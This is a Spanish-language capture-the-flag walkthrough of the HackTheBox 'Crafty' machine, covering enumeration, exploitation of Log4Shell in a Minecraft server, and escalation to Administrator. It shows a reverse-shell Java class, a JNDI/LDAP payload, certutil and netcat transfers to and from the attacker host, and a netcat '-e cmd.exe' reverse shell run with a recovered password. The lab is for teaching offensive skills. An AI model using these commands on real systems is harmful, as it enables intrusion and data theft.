Crafty – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Crafty
es una máquina fácil de la plataforma HackTheBox
la cual tiene una version vulnerable de Log4J
(una biblioteca presente en muchas aplicaciones escritas en Java
) en un viejo servidor de Minecraft. Empezando, chequeamos los puertos TCP abiertos donde encontramos que, en efecto, la máquina corresponde a un servidor de Minecraft
. Analizando su version vemos que éste contiene una version vulnerable de la biblioteca Log4J
, la cual nos permite ejecutar el famoso exploit Log4Shell
(CVE-2021-44228) y ganar acceso a la máquina como el usuario svc_minecraft
. Una vez dentro de la máquina, somos capaces de extraer un archivo Java
.tar
el cual contiene credenciales. Usando RunasCs
, revisamos si estas credenciales pertenecen al usuario Administrator
; y efectivamente sí pertenecen, de manera que somos capaces de ganar acceso al usuario Administrator
y así comprometer completamente la máquina.
User / Usuario Link to heading
Empezando con un scan con Nmap
sólo muestra 2 servicios corriendo por protocolo TCP
: 80
HTTP
(en un servicio Microsoft IIS
) y 25565
un servicio de Minecraft
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.249
y chequeando las versiones de los puertos abiertos:
❯ sudo nmap -sVC -p80,25565 10.10.11.249 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 17:20 -04
Nmap scan report for 10.10.11.249
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Del output del scan puedo ver que el sitio web del puerto 80
redirige a crafty.htb
. De manera que agrego este dominio a mi archivo /etc/hosts
:
❯ echo '10.10.11.249 crafty.htb' | sudo tee -a /etc/hosts
Visitando el sitio http://crafty.htb
muestra una página basada en Minecraft
la cual muestra, aparentemente, datos de éste:
El sitio muestra el subdominio play.crafty.htb
, de manera que también decido agregar este nuevo subdominio a mi archivo /etc/hosts
, de manera que éste ahora se ve como:
❯ cat /etc/hosts | tail -n 1
10.10.11.249 crafty.htb play.crafty.htb
pero visitando play.crafty.htb
simplemente redirige a crafty.htb
. Por ejemplo, analizando el sitio con WhatWeb
tenemos:
❯ whatweb http://play.crafty.htb
http://play.crafty.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], Microsoft-IIS[10.0], RedirectLocation[http://crafty.htb], Title[Document Moved]
http://crafty.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]
Decido buscar por directorios intentando un Brute Force Directory Listing
con Gobuster
, pero no obtuve nada interesante:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://crafty.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://crafty.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 200) [Size: 1826]
/img (Status: 301) [Size: 145] [--> http://crafty.htb/img/]
/Home (Status: 200) [Size: 1826]
/css (Status: 301) [Size: 145] [--> http://crafty.htb/css/]
/js (Status: 301) [Size: 144] [--> http://crafty.htb/js/]
/IMG (Status: 301) [Size: 145] [--> http://crafty.htb/IMG/]
/CSS (Status: 301) [Size: 145] [--> http://crafty.htb/CSS/]
/Img (Status: 301) [Size: 145] [--> http://crafty.htb/Img/]
/JS (Status: 301) [Size: 144] [--> http://crafty.htb/JS/]
/HOME (Status: 200) [Size: 1826]
/coming-soon (Status: 200) [Size: 1206]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
En este punto pongo mi atención en el puerto 25565
mostrado por el scan de Nmap
. Googleando Minecraft 1.16.5 exploit
muestra que éste contiene una version de Log4J
vulnerable a Log4Shell
(CVE-2021-44228). De manera que, aparentemente, necesitamos correr comandos en el servidor de Minecraft
para obtener una shell en nuestra máquina de atacante. Para esto tenemos 2 opciones:
- Descargar un launcher de
Minecraft
paraLinux
(dado que mi máquina de atacante es una máquinaLinux
). Esto puede requerirTLauncher
de manera que, de ser posible, prefiero saltarme esta opción… - Usar una librería de
Python
llamadapyCraft
(cuyo repositorio lo podemos visitar desde este link) y tratar de correr los comandos en el servidor de Minecraft dentro de este script.
Usaré la segunda opción. Primero, clono el repositorio pyCraft
:
❯ git clone https://github.com/ammaraskar/pyCraft.git
Cloning into 'pyCraft'...
remote: Enumerating objects: 3182, done.
remote: Counting objects: 100% (158/158), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 3182 (delta 106), reused 112 (delta 88), pack-reused 3024
Receiving objects: 100% (3182/3182), 775.28 KiB | 2.42 MiB/s, done.
Resolving deltas: 100% (2222/2222), done.
Luego, creamos un entorno virtual dentro de Python
, lo activamos e instalamos todas las librerías necesarias para pycraft.py
en él. En mi caso crearé un entorno virtual llamado minecraftENV
, e instalar todo lo necesario en él:
❯ cd pyCraft
❯ python3 -m venv minecraftENV
❯ source minecraftENV/bin/activate
❯ pip3 install -r requirements.txt
Luego, para explotar Log4J
usaremos este repositorio de Github. Una vez clonado e instalado éste todavía requiere algunos archivos externos para funcionar. Además, desde el repositorio de log4shell-poc
, cambiaremos algunas líneas del script poc.py
. Para esto cambiamos las líneas:
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
<SNIP>
a
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
Donde hemos cambiado /bin/sh
(la cual sirve para obtener una shell desde un servidor Linux
, que no es el caso) a cmd.exe
(para obtener una shell de un servidor Windows
, el cual sí es el caso para la máquina Crafty
)
Como dijjimos anteriormente, necesitamos un archivo Java
para correr este exploit. Usualmente uno intentaría distintas versiones de este archivo hasta encontrar aquella que funcione, pero en nuestro caso (y para ahorrar tiempo) usaremos la versión 8
. Podemos descargar el archivo necesario desde este repositorio y extraerlo:
❯ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
--2024-05-17 18:00:39-- https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
Resolving repo.huaweicloud.com (repo.huaweicloud.com)... 119.8.158.18, 119.8.158.19, 119.8.158.17
Connecting to repo.huaweicloud.com (repo.huaweicloud.com)|119.8.158.18|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 185646832 (177M) [application/octet-stream]
Saving to: ‘jdk-8u181-linux-x64.tar.gz’
jdk-8u181-linux-x64.tar.gz 100%[=======================================================================================>] 177.05M 55.3MB/s in 3.3s
2024-05-17 18:00:42 (53.9 MB/s) - ‘jdk-8u181-linux-x64.tar.gz’ saved [185646832/185646832]
❯ tar -xf jdk-8u181-linux-x64.tar.gz
Al archivo extraído debemos renombrarlo como jdk1.8.0_20
dado que este es el nombre usado para el archivo en el script poc.py
. De manera que lo renombramos:
❯ mv jdk1.8.0_181 jdk1.8.0_20
Así, nuestro directorio log4j-shell-poc
ahora se ve como:
❯ ls -la
total 181352
drwxr-xr-x 6 gunzf0x gunzf0x 4096 May 17 18:02 .
drwxr-xr-x 4 gunzf0x gunzf0x 4096 May 17 17:54 ..
-rw-r--r-- 1 gunzf0x gunzf0x 177 May 17 17:54 Dockerfile
drwxr-xr-x 8 gunzf0x gunzf0x 4096 May 17 17:54 .git
-rw-r--r-- 1 gunzf0x gunzf0x 23 May 17 17:54 .gitignore
drwxr-xr-x 7 gunzf0x gunzf0x 4096 Jul 7 2018 jdk1.8.0_20
-rw-r--r-- 1 gunzf0x gunzf0x 185646832 Jul 8 2018 jdk-8u181-linux-x64.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 1060 May 17 17:54 LICENSE
-rwxr-xr-x 1 gunzf0x gunzf0x 4208 May 17 17:58 poc.py
-rw-r--r-- 1 gunzf0x gunzf0x 3051 May 17 17:54 README.md
-rw-r--r-- 1 gunzf0x gunzf0x 18 May 17 17:54 requirements.txt
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 17 17:54 target
drwxr-xr-x 4 gunzf0x gunzf0x 4096 May 17 17:54 vulnerable-application
Ahora que finalmente tenemos todo listo podemos correr el exploit. Primero, empezamos un listener con netcat
, en mi caso, en el puerto 443
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Luego, corremos el exploit:
❯ python3 poc.py --userip 10.10.16.2 --webport 80 --lport 443
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.16.2:1389/a}
[+] Starting Webserver on port 80 http://0.0.0.0:80
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
donde 10.10.16.2
es mi IP de atacante y 443
es el puerto en el cual estoy en escucha con netcat
. Pero no estamos listos.
Tal cual el programa dice, necesitamos ejecutar el payload malicioso para Log4J
, en este caso, ${jndi:ldap://10.10.16.2:1389/a}
en el servidor víctima para activar las instrucciones para una reverse shell.
Ahora, empezamos/corremos pyCraft
. Podemos usarlo en modo offline (de manera que no necesitamos tener una cuenta de Minecraft
):
❯ python3 start.py
Enter your username: gunzf0x
Enter your password (leave blank for offline mode):
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected.
${jndi:ldap://10.10.16.2:1389/a}
donde, al final, he escrito ${jndi:ldap://10.10.16.2:1389/a}
.
Luego de hacer esto obtengo una shell como el usuario svc_minecraft
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\users\svc_minecraft\server>whoami
whoami
crafty\svc_minecraft
donde podemos ver la flag de usuario en el directorio C:\Users\svc_minecraft\Desktop
.
NT Authority/System - Administrador Link to heading
Luego de husmear por algunos archivos termino encontrando un archivo Java
en el directorio C:\Users\svc_minecraft\server\plugins
:
c:\Users\svc_minecraft\server\plugins>dir
dir
Volume in drive C has no label.
Volume Serial Number is C419-63F6
Directory of c:\Users\svc_minecraft\server\plugins
10/27/2023 02:48 PM <DIR> .
10/27/2023 02:48 PM <DIR> ..
10/27/2023 02:48 PM 9,996 playercounter-1.0-SNAPSHOT.jar
1 File(s) 9,996 bytes
2 Dir(s) 3,814,014,976 bytes free
Para descargar este archivo decido pasar un binario de netcat
para Windows
usando la herramienta certutil
. Primero empezamos un servidor temporal HTTP
en Python
en el puerto 8080
en nuestra máquina de atacante:
❯ ls && python3 -m http.server 8080
log4j-shell-poc nc64.exe pyCraft
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
y en la máquina víctima, corremos:
c:\Users\svc_minecraft\server\plugins>certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Luego, usamos el binario de netcat
para descargar el archivo c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
. En nuestra máquina de atacante empiezo un listener con netcat
en el puerto 4444
y guardo todo lo recibido en un archivo:
❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar
listening on [any] 4444 ...
y en la máquina víctima paso el archivo:
c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
Obtengo una conexión en mi máquina luego de correr el comando superior:
❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49684
donde luego de un tiempo presiono Ctrl+C
.
Finalmente, chequeo que los hashes MD5
de ambos archivos sean el mismo para asegurar la integridad de éstos (tanto el original en la máquina víctima como aquel que copié en mi máquina de atacante). En la máquina víctima (el archivo original) tenemos:
c:\Users\svc_minecraft\server\plugins>certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
MD5 hash of c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar:
349f6584e18cd85fc9e014da154efe03
CertUtil: -hashfile command completed successfully.
y en mi máquina de atacante por nuestra parte tenemos:
❯ md5sum playercounter-1.0-SNAPSHOT.jar
349f6584e18cd85fc9e014da154efe03 playercounter-1.0-SNAPSHOT.jar
Dado que ambos hashes son el mismo entonces el archivo se ha transferido exitosamente.
Ahora, analizo el archivo de Java
.jar
tratando de decompilarlo con la herramienta Java Decompiler
(jd-gui
). Al menos en Kali Linux, podemos instalarlo con:
sudo apt install jd-gui
y lo corremos:
❯ jd-gui &> /dev/null & disown
Abro el archivo playercounter-1.0-SNAPSHOT.jar
con el decompilador. En él podemos ver una clase llamada Playercounter.class
:
o
package htb.crafty.playercounter;
import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;
public final class Playercounter extends JavaPlugin {
public void onEnable() {
Rcon rcon = null;
try {
rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
} catch (IOException e) {
throw new RuntimeException(e);
} catch (AuthenticationException e2) {
throw new RuntimeException(e2);
}
String result = null;
try {
result = rcon.command("players online count");
PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
writer.println(result);
} catch (IOException e3) {
throw new RuntimeException(e3);
}
}
public void onDisable() {}
}
donde puedo ver algo como una credencial/contraseña: s67u84zKq8IXw
¿Qué tal si esta fuera la contraseña del usuario Administrator
? Revisando los usuarios existentes en la máquina víctima, veo que existen 2 (fuera de svc_minecraft
): jacob
y Administrator
:
c:\Users\svc_minecraft\server\plugins>net user
net user
User accounts for \\CRAFTY
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
jacob svc_minecraft WDAGUtilityAccount
The command completed successfully.
Dado que no tenemos servicios como Server Message Block
(SMB
) o Windows Remote Management
corriendo, usaremos la herramienta RunasCs
para pivotear de usuario dentro de la máquina Windows. Lo descargamos desde su repositorio de Github, lo unzipeo y paso el archivo .exe
a la máquina víctima de la misma manera a como anteriormente transferimos el binario de netcat
. Luego, corro RunasCs
como Administrator
usando la credencial hallada en el archivo .jar
. Empiezo un listener con netcat
en el puerto 443
y en la máquina víctima corremos:
c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"
c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"
y obtengo una shell como el usuario Administrator
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49687
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
crafty\administrator
De manera que podemos leer la flag root.txt
en el directorio C:\Users\Administrator\Desktop
y máquina resuelta.
~ Happy Hacking